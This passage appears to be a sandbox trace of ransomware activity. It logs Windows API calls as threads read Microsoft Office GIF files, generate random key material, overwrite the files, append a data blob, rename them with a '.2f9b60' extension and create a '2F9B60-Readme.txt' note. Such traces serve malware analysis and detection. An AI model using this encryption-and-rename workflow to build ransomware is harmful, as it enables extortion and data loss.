wcscat (in: _Dest=0x431ea7d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\374c4d7c163f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\374c4d7c163f.2f9b60" [0200.448] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\374c4d7c163f.2f9b60", NtPathName=0x397bf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\374c4d7c163f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431ede60 Thread: id = 2639 os_tid = 0x21a8 [0156.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif")) returned 0x20 [0156.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF", dwFileAttributes=0x20) returned 1 [0156.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10f4 [0156.903] GetFileSizeEx (in: hFile=0x10f4, lpFileSize=0x398ffe20 | out: lpFileSize=0x398ffe20*=1127) returned 1 [0156.903] SetFilePointerEx (in: hFile=0x10f4, liDistanceToMove=0x463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.903] ReadFile (in: hFile=0x10f4, lpBuffer=0x398ffda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x398ffde8, lpOverlapped=0x0 | out: lpBuffer=0x398ffda0*, lpNumberOfBytesRead=0x398ffde8*=0x4, lpOverlapped=0x0) returned 1 [0159.035] SetFilePointerEx (in: hFile=0x10f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2a50 [0159.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2a80 [0159.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ab0 [0159.035] NtQuerySystemTime (in: CurrentTime=0x398ffce0 | out: CurrentTime=0x398ffce0*=132462177641662000) returned 0x0 [0159.035] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x103b5661 [0159.035] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x60809a6 [0159.035] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x483efda5 [0159.035] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x7483d110 [0159.035] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x4a2dc20 [0159.035] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x73449f [0159.035] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x35cd307d [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x1d3ec1e7 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x2dd7d648 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x697afe94 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x339422cc [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x5946bee5 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0xd59518a [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x684eb072 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x7a37ed50 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x7acbd149 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x24bbdbe3 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x44e007a [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x564b4e0b [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x1887ee28 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x3235fc17 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x7b631eda [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x715b0959 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x62af99a1 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x3bf05002 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x147c5424 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x40e08aec [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x9b5387b [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x34612f62 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x660c37 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0x26daa843 [0159.036] RtlRandomEx (in: Seed=0x398ffcd0 | out: Seed=0x398ffcd0) returned 0xc096eda [0159.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ae0 [0159.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d80 [0159.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b10 [0159.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d80) returned 1 [0159.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ab0) returned 1 [0159.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2a50) returned 1 [0159.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be30 [0159.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d80 [0159.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2a50 [0159.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2a50) returned 1 [0159.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42695d20 [0159.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42699930 [0159.047] ReadFile (in: hFile=0x10f4, lpBuffer=0x42695d20, nNumberOfBytesToRead=0x467, lpNumberOfBytesRead=0x398ffcd0, lpOverlapped=0x0 | out: lpBuffer=0x42695d20*, lpNumberOfBytesRead=0x398ffcd0*=0x467, lpOverlapped=0x0) returned 1 [0159.047] SetFilePointerEx (in: hFile=0x10f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.047] WriteFile (in: hFile=0x10f4, lpBuffer=0x42699930*, nNumberOfBytesToWrite=0x467, lpNumberOfBytesWritten=0x398ffcd4, lpOverlapped=0x0 | out: lpBuffer=0x42699930*, lpNumberOfBytesWritten=0x398ffcd4*=0x467, lpOverlapped=0x0) returned 1 [0162.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cc0 [0162.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cf0 [0162.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cf0) returned 1 [0162.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42699930) returned 1 [0162.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42695d20) returned 1 [0162.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d80) returned 1 [0162.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be30) returned 1 [0162.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18cf0 [0162.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be30 [0162.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d80 [0162.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18d20 [0162.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18d20) returned 1 [0162.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18d20 [0162.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18d50 [0162.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18d80 [0162.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18d80) returned 1 [0162.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d80) returned 1 [0162.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be30) returned 1 [0162.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c154d0 [0162.489] SetFilePointerEx (in: hFile=0x10f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.489] WriteFile (in: hFile=0x10f4, lpBuffer=0x42c154d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x398ffdf0, lpOverlapped=0x0 | out: lpBuffer=0x42c154d0*, lpNumberOfBytesWritten=0x398ffdf0*=0x10a, lpOverlapped=0x0) returned 1 [0164.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18960 [0164.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0164.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4840 [0164.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4840) returned 1 [0164.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4840 [0164.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4810 [0164.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4810) returned 1 [0164.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18960) returned 1 [0164.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa360 [0164.612] sprintf (in: _Dest=0x1b7aa360, _Format="%c%c" | out: _Dest="1f") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa362, _Format="%c%c" | out: _Dest="76") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa364, _Format="%c%c" | out: _Dest="fe") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa366, _Format="%c%c" | out: _Dest="08") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa368, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa36a, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa36c, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa36e, _Format="%c%c" | out: _Dest="e5") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa370, _Format="%c%c" | out: _Dest="91") returned 2 [0164.612] sprintf (in: _Dest=0x1b7aa372, _Format="%c%c" | out: _Dest="e2") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa374, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa376, _Format="%c%c" | out: _Dest="fe") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa378, _Format="%c%c" | out: _Dest="ed") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa37a, _Format="%c%c" | out: _Dest="01") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa37c, _Format="%c%c" | out: _Dest="17") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa37e, _Format="%c%c" | out: _Dest="d3") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa380, _Format="%c%c" | out: _Dest="35") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa382, _Format="%c%c" | out: _Dest="98") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa384, _Format="%c%c" | out: _Dest="f6") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa386, _Format="%c%c" | out: _Dest="96") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa388, _Format="%c%c" | out: _Dest="65") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa38a, _Format="%c%c" | out: _Dest="35") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa38c, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.613] sprintf (in: _Dest=0x1b7aa38e, _Format="%c%c" | out: _Dest="5f") returned 2 [0164.613] RtlInitAnsiString (in: DestinationString=0x398ffe68, SourceString="1f76fe08fc8cd1e591e24afeed0117d33598f6966535cd5f" | out: DestinationString="1f76fe08fc8cd1e591e24afeed0117d33598f6966535cd5f") [0164.613] RtlAnsiStringToUnicodeString (in: DestinationString=0x398ffe38, SourceString="1f76fe08fc8cd1e591e24afeed0117d33598f6966535cd5f", AllocateDestinationString=1 | out: DestinationString="1f76fe08fc8cd1e591e24afeed0117d33598f6966535cd5f") returned 0x0 [0164.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14d50 [0164.614] RtlFreeAnsiString (AnsiString="1") [0164.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa360) returned 1 [0164.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4840) returned 1 [0164.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c154d0) returned 1 [0164.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18d20) returned 1 [0164.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18d50) returned 1 [0164.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cf0) returned 1 [0164.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cc0) returned 1 [0164.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2a80) returned 1 [0164.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ae0) returned 1 [0164.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2b10) returned 1 [0164.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d210 [0164.618] wcscat (in: _Dest=0x2050d210, _Source="1f76fe08fc8c" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1f76fe08fc8c") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1f76fe08fc8c" [0164.618] wcscat (in: _Dest=0x2050d210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1f76fe08fc8c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1f76fe08fc8c.2f9b60" [0164.618] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1f76fe08fc8c.2f9b60", NtPathName=0x398ffe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\1f76fe08fc8c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c36090 [0188.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36090) returned 1 [0188.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c324f0) returned 1 [0188.373] NtQueryInformationFile (in: FileHandle=0x10f4, IoStatusBlock=0x398ffe78, FileInformation=0x398ffe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x398ffe78, FileInformation=0x398ffe88) returned 0x0 [0188.373] NtSetInformationFile (FileHandle=0x10f4, IoStatusBlock=0x398ffe78, FileInformation=0x398ffe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0203.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0203.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce14d50) returned 1 [0203.086] FlushFileBuffers (hFile=0x10f4) returned 1 [0204.256] CloseHandle (hObject=0x10f4) returned 1 [0208.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506a90 [0208.283] wcscpy (in: _Dest=0x20506a90, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0208.283] wcscat (in: _Dest=0x20506a90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" [0208.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\2f9b60-readme.txt")) returned 0xffffffff [0209.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 2640 os_tid = 0x21ac [0156.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif")) returned 0x20 [0156.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF", dwFileAttributes=0x20) returned 1 [0156.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10ec [0156.907] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x3711fe00 | out: lpFileSize=0x3711fe00*=315) returned 1 [0156.907] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x137, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.907] ReadFile (in: hFile=0x10ec, lpBuffer=0x3711fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3711fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3711fd80*, lpNumberOfBytesRead=0x3711fdc8*=0x4, lpOverlapped=0x0) returned 1 [0156.908] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265280 [0156.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcbc0 [0156.909] NtQuerySystemTime (in: CurrentTime=0x3711fcc0 | out: CurrentTime=0x3711fcc0*=132462177620446000) returned 0x0 [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x4eeb59ae [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x56cce10b [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x1dad864c [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x5e22dd05 [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x4492f0e6 [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x5e71f8cb [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x27295521 [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x38b52352 [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x5a352cec [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x7a98055a [0156.909] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x3357b922 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0xf9dfc77 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x4f822ebc [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x14681b53 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x6c636507 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x7f0679ce [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0xa6b7778 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0xf16e021 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x7498479d [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x6d0330ce [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x1498e601 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x7c30b9b6 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0xd3fd3af [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x44c7ed99 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x7c7e17f3 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x4b24f96c [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x387a9c50 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x6744baed [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x7bc30021 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x747ffa1e [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x684344b4 [0156.910] RtlRandomEx (in: Seed=0x3711fcb0 | out: Seed=0x3711fcb0) returned 0x670107cc [0156.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a780 [0156.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6220 [0156.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac09e0 [0156.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6220) returned 1 [0156.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcbc0) returned 1 [0156.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19040 [0156.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6220 [0156.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a9ea60 [0156.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa2670 [0156.922] ReadFile (in: hFile=0x10ec, lpBuffer=0x42a9ea60, nNumberOfBytesToRead=0x13b, lpNumberOfBytesRead=0x3711fcb0, lpOverlapped=0x0 | out: lpBuffer=0x42a9ea60*, lpNumberOfBytesRead=0x3711fcb0*=0x13b, lpOverlapped=0x0) returned 1 [0156.922] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.922] WriteFile (in: hFile=0x10ec, lpBuffer=0x42aa2670*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x3711fcb4, lpOverlapped=0x0 | out: lpBuffer=0x42aa2670*, lpNumberOfBytesWritten=0x3711fcb4*=0x13b, lpOverlapped=0x0) returned 1 [0161.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262fc0 [0161.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612b0 [0161.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202612b0) returned 1 [0161.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa2670) returned 1 [0161.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a9ea60) returned 1 [0161.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6220) returned 1 [0161.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19040) returned 1 [0161.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202612b0 [0161.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19040 [0161.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6220 